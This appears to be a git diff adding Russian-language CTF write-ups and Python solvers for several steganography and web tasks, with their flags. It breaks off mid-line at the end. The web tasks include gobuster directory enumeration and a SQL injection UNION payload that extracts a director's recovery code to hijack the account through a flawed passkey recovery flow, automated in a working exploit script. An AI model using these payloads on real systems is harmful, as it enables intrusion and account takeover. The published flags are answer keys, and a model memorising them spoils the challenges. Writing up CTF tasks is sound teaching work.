+ +Изучаем выданный `gallery.psd` — PSD-файл с пятью слоями: + +| # | Имя | Состояние | +|---|---|---| +| 0 | `Background` | видимый | +| 1 | `Title` | видимый | +| 2 | `Pattern A` | скрытый | +| 3 | `Pattern B` | скрытый | +| 4 | `Encrypted` | скрытый | + +Два из трёх скрытых слоёв — ложный след, а настоящий QR-код лежит в третьем и дополнительно зашифрован AES'ом. + +## Решение + +PSD разбираем руками по [официальной спецификации Adobe](https://www.adobe.com/devnet-apps/photoshop/fileformatashtml/). Структура файла такая: + +```mermaid +block-beta + columns 1 + H["8BPS header"] + CM["Color Mode Data"] + IR["Image Resources
XMP ID 0x0424 ← ключ к расшифровке"] + LMI["Layer and Mask Info
слои, флаги, каналы"] + ID["Image Data"] + + classDef base fill:#f3f4f6,stroke:#6b7280,color:#111827 + classDef hit fill:#fef3c7,stroke:#f59e0b,color:#78350f + class H,CM,LMI,ID base + class IR hit +``` + +В секции `Image Resources` ищем XMP-метаданные (блок с ID `0x0424`) — там и запрятан ключ ко всей задаче. Внутри XMP смотрим на тег ``: ISO 8601 timestamp создания файла. В секции `Layer and Mask Information` для каждого слоя лежит имя, флаги видимости (бит `0x02` в flags = «скрытый»), `opacity` и сырые данные каналов. Пиксельные данные хранятся несжатыми — можно напрямую залить в `numpy`-массив `h × w`. + +Первое, что теперь приходит в голову при виде двух скрытых «паттернов» — это XOR'нуть их между собой. Берём `Pattern A` и `Pattern B`, XOR — получается картинка с вполне читаемым QR-кодом. Сканируем, внутри флаг, таск решён… *кроме того, что флаг внутри фейковый*. Настоящий QR живёт в третьем скрытом слое — `Encrypted`, и это шифротекст исходного QR в режиме AES-ECB. + +Ключ для AES собирается из той самой timestamp-метки: + +```python +aes_key = sha256(timestamp.encode()).digest()[:16] +``` + +Расшифровываем R-канал в `AES.MODE_ECB`, снимаем PKCS#7-паддинг по последнему байту, интерпретируем результат как `h × w` grayscale-картинку. Внутри — настоящий QR, внутри QR — флаг. Если `pyzbar` с первого раза не узнал код, помогает `NEAREST`-апскейл в 2–3 раза. + +Готовый солвер — [`solve/solver.py`](solve/solver.py). + +## Флаг +`caplag{l4y3rs_0f_d3c3pt10n_unv31l3d}` \ No newline at end of file diff --git a/stego-art-gallery/solve/solver.py b/stego-art-gallery/solve/solver.py new file mode 100644 index 0000000..1e736ac --- /dev/null +++ b/stego-art-gallery/solve/solver.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +""" +Решение для задания 6: Художественная галерея (усложнённая версия) + +PSD-файл содержит 5 слоёв: + 0: Background (видимый) + 1: Title (видимый) + 2: Pattern A (скрытый) — случайный шум + 3: Pattern B (скрытый) — шум,содержащий ложный QR + 4: Encrypted (скрытый) — верный QR, зашифрованный AES-ECB + +Цепочка решения: +1. Разобрать PSD, найти скрытые слои +2. XOR слоёв 2 и 3 -> ЛОЖНЫЙ QR -> фейковый флаг (ловушка!) +3. Обнаружить слой 4 ("Encrypted") — третий скрытый слой +4. Извлечь временну́ю метку создания из XMP-метаданных PSD +5. Получить AES-ключ: SHA256(временная_метка)[:16] +6. Расшифровать слой 4 через AES-ECB -> настоящий QR -> настоящий флаг +""" + +import sys, os, struct, io, hashlib, re +import numpy as np +from PIL import Image +from pyzbar.pyzbar import decode as decode_qr +from Crypto.Cipher import AES + + +def parse_psd_layers(filepath): + """Разбирает PSD-файл и извлекает изображения всех слоёв и XMP-метаданные.""" + with open(filepath, 'rb') as f: + data = f.read() + + buf = io.BytesIO(data) + + # ── Заголовок файла ────────────────────────────────────────────────────── + sig = buf.read(4) + assert sig == b'8BPS' # Сигнатура формата PSD + version = struct.unpack('>H', buf.read(2))[0] + buf.read(6) # Зарезервированные байты + num_channels = struct.unpack('>H', buf.read(2))[0] + height = struct.unpack('>I', buf.read(4))[0] + width = struct.unpack('>I', buf.read(4))[0] + depth = struct.unpack('>H', buf.read(2))[0] # Бит на канал + color_mode = struct.unpack('>H', buf.read(2))[0] # 3 = RGB + + print(f"[*] PSD: {width}x{height}") + + # ── Секция Color Mode Data (для RGB — пустая) ──────────────────────────── + cm_len = struct.unpack('>I', buf.read(4))[0] + buf.read(cm_len) + + # ── Секция Image Resources — здесь хранятся XMP-метаданные ────────────── + ir_len = struct.unpack('>I', buf.read(4))[0] + ir_start = buf.tell() + ir_data = buf.read(ir_len) + + # Ищем блок XMP среди ресурсов изображения + xmp_data = None + ir_buf = io.BytesIO(ir_data) + while ir_buf.tell() < len(ir_data) - 12: + try: + sig = ir_buf.read(4) + if sig != b'8BIM': # Сигнатура каждого ресурса + break + res_id = struct.unpack('>H', ir_buf.read(2))[0] + name_len = struct.unpack('>B', ir_buf.read(1))[0] + ir_buf.read(name_len) + if (1 + name_len) % 2 != 0: # Выравнивание до чётного байта + ir_buf.read(1) + data_len = struct.unpack('>I', ir_buf.read(4))[0] + res_data = ir_buf.read(data_len) + if data_len % 2 != 0: # Выравнивание данных ресурса + ir_buf.read(1) + if res_id == 0x0424: # ID 0x0424 = XMP-метаданные + xmp_data = res_data + print(f"[+] Найден XMP-ресурс ({len(xmp_data)} байт)") + except: + break + + # Извлекаем временну́ю метку создания из XMP + timestamp = None + if xmp_data: + xmp_str = xmp_data.decode('utf-8', errors='ignore') + # Тег содержит дату/время в формате ISO 8601 + m = re.search(r'([^<]+)', xmp_str) + if m: + timestamp = m.group(1) + print(f"[+] Временна́я метка создания: {timestamp}") + + # ── Секция Layer and Mask Information ──────────────────────────────────── + lm_len = struct.unpack('>I', buf.read(4))[0] + li_len = struct.unpack('>I', buf.read(4))[0] + # Отрицательное значение означает, что первый альфа-канал — маска прозрачности + layer_count = abs(struct.unpack('>h', buf.read(2))[0]) + print(f"[*] Количество слоёв: {layer_count}") + + layers = [] + for i in range(layer_count): + # Координаты прямоугольника слоя + top = struct.unpack('>i', buf.read(4))[0] + left = struct.unpack('>i', buf.read(4))[0] + bottom = struct.unpack('>i', buf.read(4))[0] + right = struct.unpack('>i', buf.read(4))[0] + lw = right - left + lh = bottom - top + + # Список каналов слоя (id канала + длина данных) + n_ch = struct.unpack('>H', buf.read(2))[0] + channels = [] + for _ in range(n_ch): + ch_id = struct.unpack('>h', buf.read(2))[0] # -1=alpha, 0=R, 1=G, 2=B + ch_len = struct.unpack('>I', buf.read(4))[0] + channels.append((ch_id, ch_len)) + + buf.read(4) # Сигнатура режима наложения + blend_mode = buf.read(4) # Код режима наложения (norm, mul и т.д.) + opacity = struct.unpack('>B', buf.read(1))[0] # 0 = полностью прозрачный + buf.read(1) # Clipping + flags = struct.unpack('>B', buf.read(1))[0] + buf.read(1) # Зарезервированный байт + + # Бит 0x02 флагов означает, что слой скрыт (невидим) + visible = not (flags & 0x02) + + # Дополнительные данные слоя: маска, диапазоны смешения, имя + extra_len = struct.unpack('>I', buf.read(4))[0] + extra_start = buf.tell() + mask_len = struct.unpack('>I', buf.read(4))[0] + buf.read(mask_len) + blend_range_len = struct.unpack('>I', buf.read(4))[0] + buf.read(blend_range_len) + name_len = struct.unpack('>B', buf.read(1))[0] + name = buf.read(name_len).decode('ascii', errors='ignore') + buf.seek(extra_start + extra_len) # Перепрыгиваем остаток extra-данных + + layers.append({ + 'name': name, 'width': lw, 'height': lh, + 'opacity': opacity, 'visible': visible, + 'channels': channels, + }) + print(f" Слой {i}: '{name}' {lw}x{lh} opacity={opacity} visible={visible}") + + # ── Чтение пиксельных данных каналов ──────────────────────────────────── + for layer in layers: + lw, lh = layer['width'], layer['height'] + channel_data = {} + for ch_id, ch_len in layer['channels']: + compression = struct.unpack('>H', buf.read(2))[0] # 0=Raw, 1=PackBits RLE + pixel_data = buf.read(ch_len - 2) + if compression == 0 and lw * lh > 0: + # Несжатые данные: напрямую читаем в массив нужного размера + arr = np.frombuffer(pixel_data[:lw * lh], dtype=np.uint8).reshape((lh, lw)) + else: + # Сжатые/пустые данные — заполняем нулями (достаточно для нашей задачи) + arr = np.zeros((lh, lw), dtype=np.uint8) + channel_data[ch_id] = arr + layer['channel_data'] = channel_data + + return layers, timestamp + + +def solve(filepath: str) -> str: + layers, timestamp = parse_psd_layers(filepath) + + # Скрытые слои: невидимые или с нулевой непрозрачностью + hidden = [l for l in layers if not l['visible'] or l['opacity'] == 0] + print(f"\n[*] Найдено скрытых слоёв: {len(hidden)}") + + if len(hidden) < 3: + return "ОШИБКА: ожидалось 3 скрытых слоя" + + # Ищем зашифрованный слой по имени; если не нашли — берём третий скрытый + enc_layer = None + for l in hidden: + if 'ncrypt' in l['name'].lower(): # "Encrypted", "encrypted" и т.п. + enc_layer = l + break + if not enc_layer: + enc_layer = hidden[2] + + print(f"[*] Зашифрованный слой: '{enc_layer['name']}'") + + # Извлекаем зашифрованные байты из R-канала (id=0) или альфа-канала (id=-1) + enc_data = enc_layer['channel_data'].get(0, enc_layer['channel_data'].get(-1)) + enc_bytes = enc_data.tobytes() + + # ── Деривация AES-ключа из временно́й метки ────────────────────────────── + if not timestamp: + return "ОШИБКА: не удалось найти временну́ю метку создания" + + # Ключ = первые 16 байт SHA-256 от строки временно́й метки (128-битный AES) + aes_key = hashlib.sha256(timestamp.encode()).digest()[:16] + print(f"[*] AES-ключ: {aes_key.hex()}") + + # ── Расшифровка AES-ECB ────────────────────────────────────────────────── + cipher = AES.new(aes_key, AES.MODE_ECB) + decrypted = cipher.decrypt(enc_bytes) + + # Удаляем PKCS#7-паддинг: последний байт указывает количество байт паддинга + pad_len = decrypted[-1] + if 1 <= pad_len <= 16: + decrypted = decrypted[:-pad_len] + + # Восстанавливаем изображение QR-кода из расшифрованных байт + h, w = enc_layer['height'], enc_layer['width'] + dec_array = np.frombuffer(decrypted[:h * w], dtype=np.uint8).reshape((h, w)) + + # ── Декодирование QR-кода ──────────────────────────────────────────────── + img = Image.fromarray(dec_array, 'L') # 'L' = grayscale + results = decode_qr(img) + if results: + return results[0].data.decode('utf-8') + + # Если QR не распознался — пробуем увеличить изображение (pyzbar любит крупные QR) + for scale in [2, 3]: + scaled = img.resize((w * scale, h * scale), Image.NEAREST) + results = decode_qr(scaled) + if results: + return results[0].data.decode('utf-8') + + return "ОШИБКА: не удалось декодировать QR после расшифровки" + + +if __name__ == '__main__': + psd_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), + '..', 'public', 'gallery.psd') + + # Путь к файлу можно передать первым аргументом командной строки + if len(sys.argv) > 1: + psd_path = sys.argv[1] + + flag = solve(psd_path) + print(f"[+] Флаг: {flag}") \ No newline at end of file diff --git a/stego-china-owner/WRITEUP.md b/stego-china-owner/WRITEUP.md new file mode 100644 index 0000000..a34553c --- /dev/null +++ b/stego-china-owner/WRITEUP.md @@ -0,0 +1,33 @@ +

ChinaOwner

+ +

+ Stego + 960 pts +

+ +У нас есть архив сырых [AIS](https://gpsd.gitlab.io/gpsd/AIVDM.html)-строк формата `!AIVDM` с временными метками. Больше всего в галаза бросается судно, которое публикует в поле `destination` строки `CHINA OWNER` и `CHINA OWNER&CREW`. Эти значения - маркер правильного MMSI. Само сообщение находится в таймингах между соседними `type 5` сообщениями того же борта. + +## Решение + +Сообщения `type 5` в AIS длинные, в handout они поделены на две `!AIVDM`-строки. Для начала склеиваем фрагменты по `seq_id`, каналу и timestamp, декодируем armored payload обратно в биты, отфильтровываем `message type == 5`. В пятом типе лежат `MMSI`, имя судна, `destination` и `ETA`. + +> **AIS `!AIVDM` / type 5.** Тип 5 — «Static and Voyage Related Data» судна: содержит MMSI, IMO, имя, тип, позывной, данные о грузе, destination и ETA. Формат payload — armored 6-bit ASCII, [gpsd AIVDM spec](https://gpsd.gitlab.io/gpsd/AIVDM.html#_types_5_and_24_static_and_voyage_related_data) описывает все поля побитно. + +После декодирования всплывает один MMSI — `422451900`. У этого судна `destination` раз за разом принимает значения `CHINA OWNER` и `CHINA OWNER&CREW` — вот он, нужный канал. Дальше сортируем все его `type 5` сообщения по времени и смотрим на интервалы между соседними timestamp: + +| # | Δt, сек | Δt − 280 | chr() | +|---|---:|---:|:---:| +| 1 | 379 | 99 | `c` | +| 2 | 377 | 97 | `a` | +| 3 | 392 | 112 | `p` | +| 4 | 388 | 108 | `l` | +| 5 | 377 | 97 | `a` | +| 6 | 383 | 103 | `g` | +| … | … | … | … | + +Схема кодирования достаточно очевидная: `chr(delta_seconds - 280)`. Прогоняем ту же операцию по всем дельтам — получаем полную строку флага. + +Готовый скрипт — [`solve/decode_timing.py`](solve/decode_timing.py): `python3 solve/decode_timing.py`. + +## Флаг +`caplag{watch_the_gaps_not_the_words}` diff --git a/stego-china-owner/solve/decode_timing.py b/stego-china-owner/solve/decode_timing.py new file mode 100644 index 0000000..e668df6 --- /dev/null +++ b/stego-china-owner/solve/decode_timing.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +from collections import defaultdict +from datetime import datetime +from pathlib import Path + + +INPUT_PATH = Path(__file__).resolve().parents[1] / "public" / "hormuz_feed.nmea" +TIMING_OFFSET = 280 +AIS_TEXT_TABLE = '@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_ !"#$%&\'()*+,-./0123456789:;<=>?' + + +def armor_to_sixbit(char: str) -> int: + value = ord(char) - 48 + if value > 40: + value -= 8 + return value + + +def payload_to_bits(payload: str, fill_bits: int) -> str: + bits = "".join(f"{armor_to_sixbit(char):06b}" for char in payload) + return bits[:-fill_bits] if fill_bits else bits + + +def bits_to_int(bits: str) -> int: + return int(bits, 2) + + +def bits_to_signed(bits: str) -> int: + value = int(bits, 2) + if bits and bits[0] == "1": + value -= 1 << len(bits) + return value + + +def decode_text(bits: str) -> str: + chars = [] + for index in range(0, len(bits), 6): + chars.append(AIS_TEXT_TABLE[int(bits[index:index + 6], 2)]) + return "".join(chars).rstrip("@ ").strip() + + +def parse_messages(path: Path) -> list[tuple[datetime, str]]: + fragments: dict[tuple[str, str, str], dict[int, str]] = {} + fragment_totals: dict[tuple[str, str, str], int] = {} + fill_bits: dict[tuple[str, str, str], int] = {} + completed: list[tuple[datetime, str]] = [] + + for raw_line in path.read_text(encoding="ascii").splitlines(): + if not raw_line: + continue + timestamp_text, sentence = raw_line.split(" ", 1) + timestamp = datetime.fromisoformat(timestamp_text.replace("Z", "+00:00")) + body, checksum = sentence[1:].split("*", 1) + fields = body.split(",") + total = int(fields[1]) + index = int(fields[2]) + seq_id = fields[3] or "-" + channel = fields[4] + payload = fields[5] + fill = int(fields[6]) + key = (timestamp_text, channel, seq_id) + + if total == 1: + completed.append((timestamp, payload_to_bits(payload, fill))) + continue + + fragments.setdefault(key, {})[index] = payload + fragment_totals[key] = total + fill_bits[key] = fill + + if len(fragments[key]) == total: + merged = "".join(fragments[key][part] for part in range(1, total + 1)) + completed.append((timestamp, payload_to_bits(merged, fill_bits[key]))) + del fragments[key] + del fragment_totals[key] + del fill_bits[key] + + return sorted(completed, key=lambda item: item[0]) + + +def decode_type5(bits: str) -> tuple[int, str] | None: + if bits_to_int(bits[0:6]) != 5: + return None + mmsi = bits_to_int(bits[8:38]) + destination = decode_text(bits[302:422]) + return mmsi, destination + + +def recover_flag(path: Path) -> str: + per_mmsi: dict[int, list[tuple[datetime, str]]] = defaultdict(list) + for timestamp, bits in parse_messages(path): + decoded = decode_type5(bits) + if decoded is None: + continue + mmsi, destination = decoded + per_mmsi[mmsi].append((timestamp, destination)) + + suspects = { + mmsi: rows + for mmsi, rows in per_mmsi.items() + if sum("CHINA OWNER" in destination for _, destination in rows) >= 4 + } + if len(suspects) != 1: + raise RuntimeError(f"Expected exactly one suspect MMSI, got {list(suspects)}") + + target_rows = next(iter(suspects.values())) + target_rows.sort(key=lambda item: item[0]) + decoded_chars = [] + for previous, current in zip(target_rows, target_rows[1:]): + delta = int((current[0] - previous[0]).total_seconds()) + decoded_chars.append(chr(delta - TIMING_OFFSET)) + return "".join(decoded_chars) + + +def main() -> None: + flag = recover_flag(INPUT_PATH) + print(flag) + + +if __name__ == "__main__": + main() diff --git a/stego-summer-vacations/WRITEUP.md b/stego-summer-vacations/WRITEUP.md new file mode 100644 index 0000000..1bc684e --- /dev/null +++ b/stego-summer-vacations/WRITEUP.md @@ -0,0 +1,30 @@ +

Summer Vacations

+ +

+ Stego + 799 pts +

+ +На входе — картинка `vacation.png`. Если провести классический LSB-скан по красному каналу, тогда быстро находится читаемая строка, похожая на флаг — и это ловушка. Настоящий флаг расположен в младшем бите альфа-канала. + +## Решение + +Открываем картинку в RGBA (принудительно, чтобы гарантированно получить альфа-канал) и проходим по пикселям в растровом порядке (слева направо, сверху вниз). Для каждого пикселя проверяем условие: + +```text +(R * G * B) % 7 == 3 +``` + +Только те, что прошли фильтр, несут бит данных — и из них забираем младший бит альфа-канала: + +```python +if (r * g * b) % 7 == 3: + bits.append(a & 1) +``` + +Накопленные биты группируем по 8 (старший бит первым) и собираем в байты. Нулевой байт — маркер конца данных, аналог `\0`-терминатора в C. Принимаем только печатаемые ASCII (`0x20`–`0x7E`); всё остальное — либо конец флага, либо мусор. + +Готовый солвер — [`solve/solver.py`](solve/solver.py). + +## Флаг +`caplag{p4t13nc3_r3v34ls_truth}` diff --git a/stego-summer-vacations/solve/solver.py b/stego-summer-vacations/solve/solver.py new file mode 100644 index 0000000..7d2e894 --- /dev/null +++ b/stego-summer-vacations/solve/solver.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python3 +""" +Правильный флаг спрятан в младшем бите (LSB) альфа-канала пикселей, +где (R*G*B) % 7 == 3. +Ложный флаг находится в LSB красного канала. +Шаги: +1. Открыть изображение в режиме RGBA +2. Обойти пиксели в растровом порядке (слева направо, сверху вниз) +3. Для каждого пикселя проверить условие (R*G*B) % 7 == 3 +4. Если условие выполнено — извлечь младший бит альфа-канала +5. Декодировать каждые 8 бит в один ASCII-символ +""" +import sys, os +from PIL import Image + +def solve(filepath: str) -> str: + # Открываем изображение и принудительно переводим в режим RGBA + # (чтобы гарантированно получить альфа-канал) + img = Image.open(filepath).convert('RGBA') + pixels = img.load() + + # Извлекаем младшие биты альфа-канала из подходящих пикселей + bits = [] + for y in range(img.height): + for x in range(img.width): + r, g, b, a = pixels[x, y] + + # Условие фильтрации: произведение RGB по модулю 7 равно 3 + # Это нестандартный критерий, чтобы скрыть данные от обычных стего-сканеров + if (r * g * b) % 7 == 3: + # Берём только последний (младший) бит альфа-канала + bits.append(a & 1) + + print(f"[*] Найдено {len(bits)} подходящих пикселей (бит)") + + # Декодируем последовательность бит в строку флага + flag = '' + for i in range(0, len(bits) - 7, 8): + # Собираем байт из 8 последовательных бит (старший бит — первый) + byte_val = 0 + for j in range(8): + byte_val = (byte_val << 1) | bits[i + j] + + # Нулевой байт означает конец данных (аналог нуль-терминатора в C) + if byte_val == 0: + break + + # Принимаем только печатаемые ASCII-символы (коды 32–126) + # Всё остальное — признак конца флага или мусорных данных + if 32 <= byte_val <= 126: + flag += chr(byte_val) + else: + break + + return flag + + +if __name__ == '__main__': + img_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), + '..', 'public', 'vacation.png') + + if len(sys.argv) > 1: + img_path = sys.argv[1] + + flag = solve(img_path) + print(f"[+] Флаг: {flag}") \ No newline at end of file diff --git a/web-ghostframe/WRITEUP.md b/web-ghostframe/WRITEUP.md new file mode 100644 index 0000000..1f3aee4 --- /dev/null +++ b/web-ghostframe/WRITEUP.md @@ -0,0 +1,56 @@ +

GhostFrame

+ +

+ Web + 804 pts +

+ +Из всех вводных в таске нам дается только URL. Сначала необходимо найти скрытую страницу, потом выкачать debug-бандл с [ONNX](https://onnx.ai/onnx/intro/)-моделью и метаданными, и потом уже собрать картинку, которая пройдёт все фильтры классификатора. + +## Решение + +Раз на главной пусто, начинаем с банального перебора директорий: + +```bash +gobuster dir -u http://: \ + -w /usr/share/seclists/Discovery/Web-Content/common.txt +``` + +Всплывает скрытая страница `/backup`, внутри — ссылка на архив `prizrachny_kadr_export.zip`. Скачиваем, распаковываем: + +| Файл | Назначение | +|---|---| +| `vision_gate.onnx` | Сам классификатор | +| `preprocess.json` | Список признаков и порог | +| `memory.log` | Лог прошлых попыток | + +Самый полезный — `preprocess.json`. Формулы он прямо не раскрывает, но рассказывает, какие признаки модель считает: + +```text +amber_ratio +blue_ratio +contrast +edge_density +filename_signal +metadata_signal +``` + +Точные пороги неизвестны — вытягиваем их через `/api/submit`. После каждой отправки сервис выводит чего именно не хватило. Из подсказок составляем полный набор требований: + +| Признак | Требование | +|---|---| +| `filename_signal` | Имя файла содержит `lens`, `prism` или `lattice` | +| `metadata_signal` | [PNG `tEXt`](https://www.w3.org/TR/png/#11tEXt) `ghost-signal` начинается с `iris` | +| `amber_ratio` | Тёплый янтарный тон | +| `blue_ratio` | Заметный синий канал | +| `contrast` | Высокий | +| `edge_density` | Много резких границ | + +PNG с шахматным или полосатым паттерном даст и контраст, и кучу граней. Красим его в янтарно-синий микс, называем `lattice-lens.png`, прописываем в метадате `ghost-signal=iris-lane` и отправляем на `/api/submit`. Score перевалил порог — сервис возвращает флаг. Автоматический пайплайн — [`solve/solver.py`](solve/solver.py): + +```bash +python solve/solver.py http://: +``` + +## Флаг +`caplag{3409b3f6f9e70dce81617ab19bd3016469b745fb0b9b007ed4967b4b5a3a6486}` diff --git a/web-ghostframe/solve/solver.py b/web-ghostframe/solve/solver.py new file mode 100644 index 0000000..c373754 --- /dev/null +++ b/web-ghostframe/solve/solver.py @@ -0,0 +1,74 @@ +from __future__ import annotations + +import io +import json +import re +import sys +import zipfile + +import httpx +from PIL import Image, PngImagePlugin + + +def png_bytes(*, metadata: dict[str, str] | None = None, checker: bool = False) -> bytes: + image = Image.new("RGB", (48, 48), (18, 18, 18)) + for x in range(48): + for y in range(48): + if checker and (x + y) % 2 == 0: + image.putpixel((x, y), (255, 255, 255)) + elif checker: + image.putpixel((x, y), (255, 120, 0)) + info = PngImagePlugin.PngInfo() + for key, value in (metadata or {}).items(): + info.add_text(key, value) + output = io.BytesIO() + image.save(output, format="PNG", pnginfo=info) + return output.getvalue() + + +def discover_bundle(client: httpx.Client) -> bytes: + wordlist = ("backup", "debug", "admin", "hidden", "archive", "internal") + for word in wordlist: + response = client.get(f"/{word}", follow_redirects=True) + if response.status_code != 200: + continue + match = re.search(r'href="([^"]*prizrachny_kadr_export\.zip)"', response.text) + if not match: + continue + bundle_response = client.get(match.group(1)) + bundle_response.raise_for_status() + return bundle_response.content + raise RuntimeError("Hidden archive page was not discovered.") + + +def main() -> int: + base_url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8011" + with httpx.Client(base_url=base_url.rstrip("/"), timeout=20.0, trust_env=False) as client: + bundle_bytes = discover_bundle(client) + with zipfile.ZipFile(io.BytesIO(bundle_bytes)) as archive: + preprocess = json.loads(archive.read("preprocess.json").decode("utf-8")) + print(f"[+] leaked bundle: {archive.namelist()}") + print(f"[+] threshold: {preprocess['threshold']}") + if preprocess.get("input") != [ + "amber_ratio", + "blue_ratio", + "contrast", + "edge_density", + "filename_signal", + "metadata_signal", + ]: + raise RuntimeError("Unexpected feature layout in preprocess.json.") + + candidate = png_bytes(metadata={"ghost-signal": "iris-lane"}, checker=True) + solve = client.post("/api/submit", files={"upload": ("lattice-lens.png", candidate, "image/png")}) + solve.raise_for_status() + payload = solve.json() + flag = payload.get("flag") + if not flag: + raise RuntimeError(f"GhostFrame did not solve: {payload}") + print(flag) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/web-umbrella-bio-access/WRITEUP.md b/web-umbrella-bio-access/WRITEUP.md new file mode 100644 index 0000000..8575bf6 --- /dev/null +++ b/web-umbrella-bio-access/WRITEUP.md @@ -0,0 +1,50 @@ +

UmbrellaBioAccess

+ +

+ Web + 979 pts +

+ +Переходим по ссылке и видим перед нами три раздела: `Field Directory`, `Emergency Recovery` и `Partner Access`. Логично предположить, что решение будет состоять из нескольких шагов. Для этого необходим будет эксплуатировать две уязвимости: SQL injection в legacy-поиске и кривой recovery-flow, который позволяет привязать новый passkey к чужому аккаунту, зная только `recovery_code`. Благодаря этому получаем сессию директора и доступ к `BioCore Vault`. + +```mermaid +flowchart LR + D(["/directory
SQLi UNION"]) + R(["/recovery
bind own passkey"]) + A(["/access
passkey login"]) + V(["/vault
→ flag"]) + + D -->|recovery_code| R -->|own passkey linked| A -->|director session| V + + classDef step fill:#e0e7ff,stroke:#6366f1,color:#312e81 + classDef win fill:#fee2e2,stroke:#dc2626,color:#7f1d1d + class D,R,A step + class V win +``` + +## Решение + +Начинаем с `/directory`. Поиск по legacy-справочнику, и прямо там висит подпись `Quote-aware matching enabled.`. Проверяем одинарной кавычкой — параметр поиска улетает внутрь выражения вида `ILIKE '%...%'`, можно попоробовать использовать SQLi. Простая булева инъекция (`OR true`) подтверждает наличие дыры, но к нужным скрытым полям доступа не даст. Идём через `UNION SELECT` и подменяем `displayName` значением `recovery_code`: + +```sql +') UNION ALL SELECT codename,recovery_code,division,dossier +FROM directory_public_view WHERE role='director' -- +``` + +В ответе появляется запись директора: + +| Поле | Содержимое | +|---|---| +| `codename` | кодовое имя директора | +| `displayName` | 24-символьный hex `recovery_code` | + +Идём в `/recovery`. + +> Здесь не прямо классический [WebAuthn](https://www.w3.org/TR/webauthn-2/), атаку необходимо провести на бизнес-логику восстановления. + +Знание `recovery_code` считается достаточным основанием, чтобы привязать новый passkey к существующему аккаунту. Вводим извлечённый recovery-код, завершаем регистрацию своего passkey, и он оказывается связан с директорским профилем. + +Ну все, мы фактически на финише. На `/access` вводим директорский `codename`, логинимся обычным passkey-флоу уже своим ключом — получаем сессию с ролью `director`. Открываем `/vault` (или напрямую дёргаем `GET /api/vault/biocore`) — сервер отдаёт флаг. + +## Флаг +`caplag{read_only_sqli_rebinds_director_passkeys}` diff --git a/web-umbrella-bio-access/solve/requirements.txt b/web-umbrella-bio-access/solve/requirements.txt new file mode 100644 index 0000000..d422686 --- /dev/null +++ b/web-umbrella-bio-access/solve/requirements.txt @@ -0,0 +1,3 @@ +playwright>=1.52,<2 +requests>=2.32,<3 + diff --git a/web-umbrella-bio-access/solve/solver.py b/web-umbrella-bio-access/solve/solver.py new file mode 100644 index 0000000..d10e0ac --- /dev/null +++ b/web-umbrella-bio-access/solve/solver.py @@ -0,0 +1,147 @@ +import argparse +import re +import sys +from dataclasses import dataclass +from urllib.parse import urljoin + +import requests +import urllib3 +from playwright.sync_api import BrowserContext, Page, sync_playwright + + +DIRECTOR_QUERY = ( + "') UNION ALL SELECT codename,recovery_code,division,dossier " + "FROM directory_public_view WHERE role='director' -- " +) +RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$") + + +@dataclass +class DirectorProfile: + codename: str + recovery_code: str + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.") + parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf") + parser.add_argument( + "--insecure", + action="store_true", + help="Disable TLS verification for self-signed challenge certificates", + ) + parser.add_argument( + "--headful", + action="store_true", + help="Run Chromium in headful mode for debugging", + ) + return parser.parse_args() + + +def api_url(base_url: str, path: str) -> str: + return urljoin(base_url.rstrip("/") + "/", path.lstrip("/")) + + +def discover_director(base_url: str, insecure: bool) -> DirectorProfile: + session = requests.Session() + session.verify = not insecure + + if insecure: + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + response = session.post( + api_url(base_url, "/api/directory/search"), + json={"query": DIRECTOR_QUERY}, + timeout=20, + ) + response.raise_for_status() + payload = response.json() + + items = payload.get("items", []) + for item in items: + codename = str(item.get("codename", "")) + display_name = str(item.get("displayName", "")) + if RECOVERY_CODE_RE.fullmatch(display_name): + return DirectorProfile(codename=codename, recovery_code=display_name) + + raise RuntimeError("Director recovery vector not found in SQLi response") + + +def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None: + cdp = context.new_cdp_session(page) + cdp.send("WebAuthn.enable") + cdp.send( + "WebAuthn.addVirtualAuthenticator", + { + "options": { + "protocol": "ctap2", + "transport": "internal", + "hasResidentKey": True, + "hasUserVerification": True, + "isUserVerified": True, + "automaticPresenceSimulation": True, + } + }, + ) + + +def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str: + with sync_playwright() as playwright: + browser = playwright.chromium.launch(headless=not headful) + context = browser.new_context(ignore_https_errors=insecure) + page = context.new_page() + + enable_virtual_authenticator(context, page) + + page.goto(api_url(base_url, "/recovery"), wait_until="networkidle") + page.get_by_test_id("recovery-code").fill(profile.recovery_code) + page.get_by_test_id("recovery-submit").click() + page.wait_for_url(re.compile(r".*/access$"), timeout=20_000) + + page.get_by_test_id("login-codename").fill(profile.codename) + page.get_by_test_id("login-submit").click() + page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000) + + page.get_by_test_id("vault-fetch").click() + page.wait_for_function( + """ + () => { + const node = document.querySelector('[data-testid="vault-flag"]'); + return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.'; + } + """, + timeout=20_000, + ) + flag = page.get_by_test_id("vault-flag").text_content().strip() + + browser.close() + + if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.": + raise RuntimeError("Vault returned no payload") + if not flag.lower().startswith("caplag{"): + raise RuntimeError(f"Unexpected flag format: {flag}") + + return flag.lower() + + +def main() -> int: + args = parse_args() + + try: + profile = discover_director(args.base_url, args.insecure) + print(f"[+] director codename: {profile.codename}") + print(f"[+] recovery code: {profile.recovery_code}") + + flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful) + print(f"[+] flag: {flag}") + return 0 + except Exception as exc: + message = str(exc) + if "Executable doesn't exist" in message or "playwright install" in message.lower(): + message = 